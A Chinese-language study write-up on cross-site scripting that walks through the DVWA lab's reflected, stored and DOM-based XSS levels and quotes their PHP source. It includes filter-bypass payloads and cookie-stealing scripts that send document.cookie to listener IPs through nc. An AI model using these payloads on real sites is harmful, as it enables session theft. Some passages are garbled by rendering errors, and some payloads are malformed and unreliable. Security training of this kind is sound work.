参考
XSS攻击进阶篇——那些年我们看不懂的XSS
通过浏览器编码深入探究XSS绕过
DVWA-XSS学习笔记
前置知识:
定义
XSS(Cross Site Scripting),跨站脚本攻击,是指攻击者在网页中嵌入客户端脚本,通常是恶意的javascript代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。属于\客户端攻击。
分类
XSS分为反射型XSS,存储型XSS和DOM型XSS。
反射型XSS:
只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要去诱使用户点击一个恶意链接,才能攻击成功。
反射型XSS原理图
存储型XSS
将用户输入的数据存储在服务器端,每次用户访问都会被执行js脚本。
存储型XSS攻击原理图:
DOM型XSS
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
DOM型的xss不像反射型xss和存储型xss那样会与后台交互,DOM型xss的实现过程都是在前台
文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
可能触发DOM型XSS的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
危害
JavaScript能做到什么效果,XSS的威力就有多大。
JavaScript可以用来获取用户的cookie、改变网页内容、URL调转,那么存在XSS的网站,就可以盗取用户的cookie,黑掉页面,导航到恶意网站。
防御
对用户的输入(和URL参数)进行过滤,对输出进行html编码
练习(DVWA靶场)
反射型:
DVWA-low
查看源代码,可以看到没有对参数做任何防御处理措施,直接输出
一般的XSS攻击
<script>alert('xss1')</script>
<script>alert(/xss1/)</script>
<body onload=alert('xss2')>
<body onload=alert(/xss2/)>
<a href='' onclick=alert('xss3')>click1</a>
#点击click1时弹出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')>
#src地址错误,然后执行onerror的内容
重定向:
<script>window.location='http://www.163.com'</script>
执行后重定向
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
……
获取cookie
方法1
直接获取cookie
<script>alert(document.cookie)</script>
方法2
<script>new Image().src="http://10.1.8.142:8888/?output="+document.cookie;</script>
在10.1.8.142上开启监听
nc -lvp 8888
方法3
<script>var img=document.createElement('img');img.src='http://10.1.8.1:88/log?'+escape(document.cookie);</script>
在10.1.8.142上开启监听
nc -lvp 88
方法4
加载远端服务器的js脚本
制作一个js脚本,getcookie.js
var img=new Image();
img.src='http://192.168.10.143/:8888/cookie.php?cookie='+document.cookie';
把js脚本放到web站点中,开启web服务
在DVWA栏中输入
<script src=http://192.168.10.143/getcookie.js></script>
在192.168.10.143主机上开启监听,当有用户访问DVWA中存储型xss页面时,就会把cookie信息发送到主机上
这里我没成功,直接·抄录的参考博客的
DVWA-medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析
可以看到使用str_replace函数只对参数进行了简单的替换,过滤
绕过
大小写绕过
<Script>alert('xss01')</script>
组合过滤条件绕过
<scr<script>ipt>alert(' xss02')</script>
尝试使用别的标签来绕过
<body onload=alert('xss03')>
<a href='' onclick=alert('xss04')>click</a>
DVWA-High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
分析
使用了preg_replace正则表达式函数,对参数进行过滤,查看源码可以看到对
绕过
使用别的标签
<body onload=alert('xss10')>
<img src="" onerror=alert('xss11')>
<a href='' onclick=alert('xss12')>click</a>
…
DVWA-Impossible
使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用XSS漏洞了
存储型XSS
DVWA-low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析
首先对两个参数使用trim函数过滤掉两边的空格,然后KaTeX parse error: Undefined control sequence: \” at position 70: …ipslashes函数过滤掉”\̲”̲,对name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符
没有防御XSS漏洞,只防御了SQL注入漏洞
一般的XSS攻击
在message栏中测试:(提交以后刷新一下)
<script>alert('xss21')</script>
<body onload=alert('xss22')>
<a href='' onclick=alert('xss23')>click</a>
重定向:
<a href=http://www.baidu.com>clock</a>
<script>window.location=’http://www.baidu.com’</script>
<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>
……
获取cookie:
方法1
在DVWA message栏中设置字节长度,输入
<script>new Image().src="http://10.1.8.1:9999/?output="+document.cookie;</script>
然后在操作机中开启监听,
nc -lvp 9999
或者换一个浏览器访问DVWA中存储型XSS,也是可以的。
方法2
<script>var img=document.createElement('img');img.src='http://10.1.8.1:1000/log?'+escape(document.cookie);</script>
//ip为自己操作机IP
nc -nlvp 1000
//操作机监听端口
方法3
加载远端服务器的js脚本
制作一个js脚本,getcookie.js
var img=new Image();
img.src='http://192.168.10.143/:8888/cookie.php?cookie='+document.cookie';
把js脚本放到web站点中,开启web服务
在DVWA栏中输入
<script src=http://192.168.10.143/getcookie.js></script>
在192.168.10.143主机上开启监听,当有用户访问DVWA中存储型xss页面时,就会把cookie信息发送到主机上
这里我没成功,直接·抄录的参考博客的
DVWA-medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析
对 m e s s a g e 参 数 做 了 很 严 格 的 过 滤 ( 进 行 h t m l 实 体 转 义 以 及 转 义 S Q L 语 句 中 使 用 的 特 殊 字 符 , 杜 绝 了 对 message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对 message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对message关于xss的利用),但对 n a m e 参 数 做 的 过 滤 不 严 格 , 只 是 替 换 < s c r i p t > 以 及 转 义 S Q L 语 句 中 使 用 的 特 殊 字 符 , 可 以 使 用 别 的 h t m l 标 签 对 name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对 name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对name参数的防护进行绕过
绕过
例如:
<Script>alert('xss123')</script>
以下同理:
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
DVWA-High
1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对
click ### DVWA-Impossible 分析源码可以看到,对两个参数都做了html实体转义,无法利用xss
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DOM型XSS
DVWA-low
dvwa下的dom型xss页面的意思是选择一种语音,只在前端执行,且代码并未对default进行处理。
一般的XSS攻击
源码并未做任何安全防护措施,所以可以直接在url上构造攻击脚本
例如,构造脚本:
default=English<script>alert("xss31")</script>
重定向:
例如:
default=English
获取cookie
方法1
直接获取cookie
default=English <script>alert(document.cookie)</script>
方法2
default=English <script>new Image().src="http://10.1.8.1:1234/?output="+document.cookie;</script>
在10.1.8.1上开启监听
nc -nvlp 1234
方法3
default=English <script>var img=document.createElement('img');img.src='http://10.1.8.1:5678/log?'+escape(document.cookie);</script>
10.1.8.1上开启监听
Nc -nvlp 5678`
或者远程调用JS也同理。
DVWA-medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
漏洞分析:
array_key_exists检查数组里是否有指定的键名和索引,如果default值不为null,default的值就等于获取到的default。
stripos返回default中字符串<script首次出现的位置(不区分大小写),如果有,则default的值等于English,所以这里用
default=</option></select><body onload=alert('xss32')>
DVWA-high
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
漏洞分析:
源码先判断default值是否为空,若不空,则用switch语句进行匹配,匹配成功,则插入case字段相应值,如果匹配不成功,则执行default语句。可在?default=English设置#字符,因为#之后的字符串不会被发送到服务器,而script语句就可以在前端页面实现。
例如,构造脚本:
?default=English#<script>alert('xss33')</script>